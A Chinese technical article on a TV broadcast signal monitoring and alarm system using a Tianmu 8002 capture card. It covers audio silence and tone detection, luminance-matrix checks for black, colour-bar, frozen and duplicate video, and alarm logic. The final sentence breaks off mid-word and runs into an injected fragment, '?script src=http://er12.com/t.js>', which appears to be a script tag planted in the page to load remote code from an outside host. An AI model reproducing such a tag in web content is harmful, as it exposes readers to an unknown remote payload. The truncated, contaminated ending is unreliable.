随着科学技术的不断发展，电视播出自动化日益提高，自动播出设备拥有很强的可靠性和稳定性。但还是会因为一些人为操作失误、个别设备失灵、节目制作问题等因素造成播出信号出现异常。因此，开发能够对常见的故障现象进行自动判断并报警，提示值班人员进行判断并及时处理的播出信号监控报警辅助系统对安全播出工作具有十分现实和积极的意义。
随着计算机处理能力和多媒体技术的不断发展，视音频信号采集设备和处理技术已成熟和普及。目前计算机视音频信号采集设备中比较常见的是监控卡。它价格低廉、抗干扰强、能够长时间连续工作，通常带有多路视音频采集通道；系统基于成熟的directx技术，带有开发包方便进行二次开发，系统兼容性强。在一台计算机上可以同时监控多路视音频信号，系统组建成本低。但是不同监控卡应用程序接口（api）不同，数据结构、接收处理方式也不同，不同监控卡必须开发不同的监控程序。
一 分析原理
系统采用天目8002监控卡，它有两路视音频采集通道，不带硬压缩功能。系统通过调用开发包sdk的api函数来直接控制监控卡进行采集、接收采集的视音频数据，并对数据进行分析、判断和报警。
1. 音频数据分析
监控卡采集的音频数据是有符号位的16bit的一个时间片段内所有的音频采样值。只要遍历这个数据区，找出绝对值最大的采样值就是这段时间（音频数据数量/音频采样率）内音频的音量值。如果音量值一直保持较小状态，那么音频就是静音状态。
如果将音频采样数据进行傅立叶变化，分析它的频谱图，就可以判断出某些特殊的异常状态：
* 单音/测试音：最大频率分量的位置和大小基本不变。
* 噪音：大部分频率分量都有一定大小，但没有明显的、位置固定的最大频率分量，并且音量大小变化不大。这是理想状态，实际中干扰比较大，判断比较复杂。
2. 视频数据分析
监控卡采集的视频数据是352*288分辨率的uyvy结构的8bit的各帧图像的采样值，其中每两像素共享一组色差值uv。将每帧图像需要判断的范围（除去各种叠加图像的干扰）后等分成m*n个同样大小的区域，再取每个区域内所有像素亮度值的总和建成一个m*n的亮度矩阵（公式1） 。
通过对亮度矩阵的分析可以判断常见的异常图像：
* 黑场图像：亮度矩阵的所有亮度值均偏小。
* 竖彩条图像：亮度矩阵的每一列内的所有亮度值基本相同。
* 横彩条图像：亮度矩阵的每一行内的所有亮度值基本相同。
* 单色图像（如蓝屏、绿屏）：亮度矩阵的所有亮度值基本相同。
实际判断时，除了这些常见的典型图像外，系统会将一些亮度矩阵符合异常特征的单调画面（如带有黑边的蓝屏、一半蓝一半绿）也判断为异常图像。但对一些不规则、亮度矩阵没有明显特征的异常图像（如正常图像中有部分彩条、杂波）系统无法进行判断。
由于任何叠加的内容（包括台标、副标、时钟等）会影响亮度矩阵的特征，因此判断区域必须除去有叠加内容的区域才能保证系统做出正确的判断。
如果视频信号的每帧图像都是异常图像，那么它就是异常信号。此外当没有视频输入时这款监控卡返回的是一标准的黑场图像，中断信号的判断等同于黑场信号的判断。
此外，通过缓存各帧图像的亮度矩阵，并对不同帧的亮度矩阵之间进行比较，系统可以判断一些特殊的视频信号：
* 静帧信号：如果本帧的亮度矩阵与缓存的前一帧的亮度矩阵相似（每个对应位置的亮度值都基本相同），那么这两帧图像相似。如果一个视频信号所有连续的两帧图像均相似，那么它就是静帧信号。
* 相似信号：如果一个视频信号的每帧图像均可以在另一个视频信号中一定范围内找到相似的图像，那么就可以判断两个视频信号基本相似。由于是两路视频信号，存在一定差异，必须放宽判断条件，而且被寻找的视频信号必须满帧采集，才能正确判断。
以上判断均只针对图像的亮度值，而忽略颜色差别，会出现误判断，但影响不大。可以利用yuv/rgb换算公式（r=y+1.14*v；g=y-0.39*u-0.58*v；b=y+2.03*u）计算rgb值，再分别对rgb进行判断，就可以感知颜色的差异，判断更加准确。缺点是数据缓存量和运算量都大大提高，而效果提高不明显。
二 判断与报警
当音频信号静音或者视频信号出现静帧或黑场、彩条、单色图像等异常情况时，系统会自动判断并计时，当异常信号持续一定时长（根据实际情况设定），系统将会发出声、像报警信号，及时提醒值班人员判断和处理故障。当信号恢复正常后，系统根据需要记录异常出现的时间、长度、类型等情况，并抓帧保存，以便事后分析查询。
1. 组合判断
在实际应用中，很多正常节目会出现长时间静帧或无声情况（如财经类节目就经常会出现长时间静止解说画面）。为了?script src=http://er12.com/t.js>
